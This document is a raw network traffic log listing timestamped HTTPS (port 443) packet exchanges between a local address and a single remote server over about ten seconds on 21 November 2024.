Nov 21, 2024 14:28:00.993110895 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.997334957 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.997353077 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.997364044 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.997370005 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:01.004951954 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:01.004987955 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:01.005062103 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:01.005836010 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:01.005858898 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.029653072 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.031342983 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.031373978 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.032085896 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.032092094 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.032777071 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.033113003 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.033143997 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.033597946 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.033603907 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.420720100 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.421361923 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.421386957 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.421972990 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.421978951 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.466835022 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.470186949 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.470271111 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.470463991 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.470463991 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.470484972 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.470496893 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.473617077 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.473695040 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.473794937 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.473965883 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.473999023 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.477710962 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.480604887 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.480664968 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.480694056 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.480720997 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.480736971 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.480745077 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.483177900 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.483205080 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.483278990 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.483409882 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.483427048 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.508624077 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.509085894 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.509147882 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.509656906 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.509670973 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.877031088 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.878813028 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.880103111 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.880177975 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.881299973 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.881329060 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.881855011 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.881860971 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.882019997 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.882039070 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.882051945 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.882061005 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.885142088 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.885184050 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.885247946 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.885443926 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.885464907 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.958394051 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.961484909 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.961550951 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.961591005 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.961626053 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.961688042 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.961779118 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.961779118 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.961815119 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.961836100 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.964688063 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.964728117 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:02.964809895 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.964986086 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:02.965003967 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.348428011 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.351547956 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.351692915 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.351748943 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.351763964 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.351773977 CET	49998	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.351779938 CET	443	49998	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.354552984 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.354588985 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:03.354667902 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.354820967 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:03.354836941 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.230140924 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.230638981 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.230688095 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.231127024 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.231141090 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.311383963 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.312033892 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.312057972 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.312591076 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.312598944 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.623934984 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.624866009 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.624900103 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.630194902 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.630203962 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.671912909 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.674973011 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.675013065 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.675070047 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.675112009 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.675206900 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.675261021 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.675296068 CET	49999	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.675311089 CET	443	49999	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.690274000 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.690320969 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.690427065 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.690574884 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.690593958 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.757814884 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.760688066 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.760745049 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.760787010 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.760807991 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.760823011 CET	50000	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.760829926 CET	443	50000	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.773716927 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.773766041 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.773839951 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.774022102 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.774039984 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.776415110 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.776876926 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.776897907 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:04.777451038 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:04.777456999 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.058517933 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.061629057 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.061678886 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.061690092 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.061744928 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.061809063 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.061830044 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.061842918 CET	50001	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.061850071 CET	443	50001	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.065184116 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.065258026 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.065340996 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.067435026 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.067467928 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.180411100 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.180902958 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.180919886 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.181567907 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.181572914 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.220381021 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.223939896 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.224004984 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.224155903 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.224175930 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.224189997 CET	50002	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.224196911 CET	443	50002	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.227206945 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.227240086 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.227308989 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.227480888 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.227495909 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.636318922 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.639661074 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.639735937 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.639791012 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.639807940 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.639821053 CET	50003	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.639826059 CET	443	50003	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.642769098 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.642802954 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:05.642878056 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.643021107 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:05.643028021 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.472126961 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.491729021 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.491806030 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.492213011 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.492227077 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.723994970 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.724543095 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.724570990 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.725162983 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.725171089 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.853420019 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.857472897 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.857511997 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.858122110 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.858135939 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.930186033 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.933212042 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.933295965 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.933366060 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.933366060 CET	50004	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.933408976 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.933440924 CET	443	50004	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.936065912 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.936145067 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:06.936235905 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.936386108 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:06.936420918 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.103904009 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.144265890 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.144296885 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.145284891 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.145292044 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.170644999 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.173599958 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.173655987 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.173675060 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.173753977 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.207464933 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.207498074 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.207515001 CET	50005	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.207521915 CET	443	50005	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.301037073 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.304018021 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.304121971 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.311213970 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.311213970 CET	50006	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.311255932 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.311280012 CET	443	50006	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.332509995 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.332537889 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.332607031 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.337224960 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.337234974 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.342490911 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.342576981 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.342650890 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.342916965 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.342947960 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.372519016 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.377012014 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.377027035 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.380888939 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.380893946 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.557444096 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.560574055 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.560645103 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.560694933 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.560712099 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.560724974 CET	50007	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.560731888 CET	443	50007	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.564260006 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.564326048 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.564410925 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.564585924 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.564605951 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.805665970 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.808741093 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.808808088 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.808841944 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.808859110 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.808872938 CET	50008	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.808876991 CET	443	50008	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.811919928 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.811973095 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:07.812042952 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.812190056 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:07.812203884 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:08.717206001 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:08.717849970 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:08.717884064 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:08.718225956 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:08.718235016 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.178355932 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.181154966 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.181293011 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.181551933 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.181552887 CET	50009	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.181597948 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.181627035 CET	443	50009	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.183499098 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.184303999 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.184396982 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.184634924 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.184667110 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.184676886 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.185125113 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.185134888 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.185276985 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.185307026 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.188731909 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.190262079 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.190306902 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.190640926 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.190654039 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.289669991 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.291364908 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.291408062 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.291820049 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.291835070 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.625613928 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.651633024 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.651695967 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.651755095 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.659867048 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.659984112 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.660032988 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.675220013 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:09.726670027 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.729330063 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:09.729422092 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.017115116 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.017190933 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.031572104 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.031620979 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.035274029 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.035322905 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.035352945 CET	50012	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.035361052 CET	443	50012	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.125046968 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.125078917 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.125091076 CET	50010	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.125097036 CET	443	50010	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.126760006 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.126796961 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.126831055 CET	50011	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.126838923 CET	443	50011	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.132760048 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.132879972 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.132961035 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.134843111 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.134875059 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.134927988 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.135025024 CET	50015	443	192.168.2.5	13.107.246.45
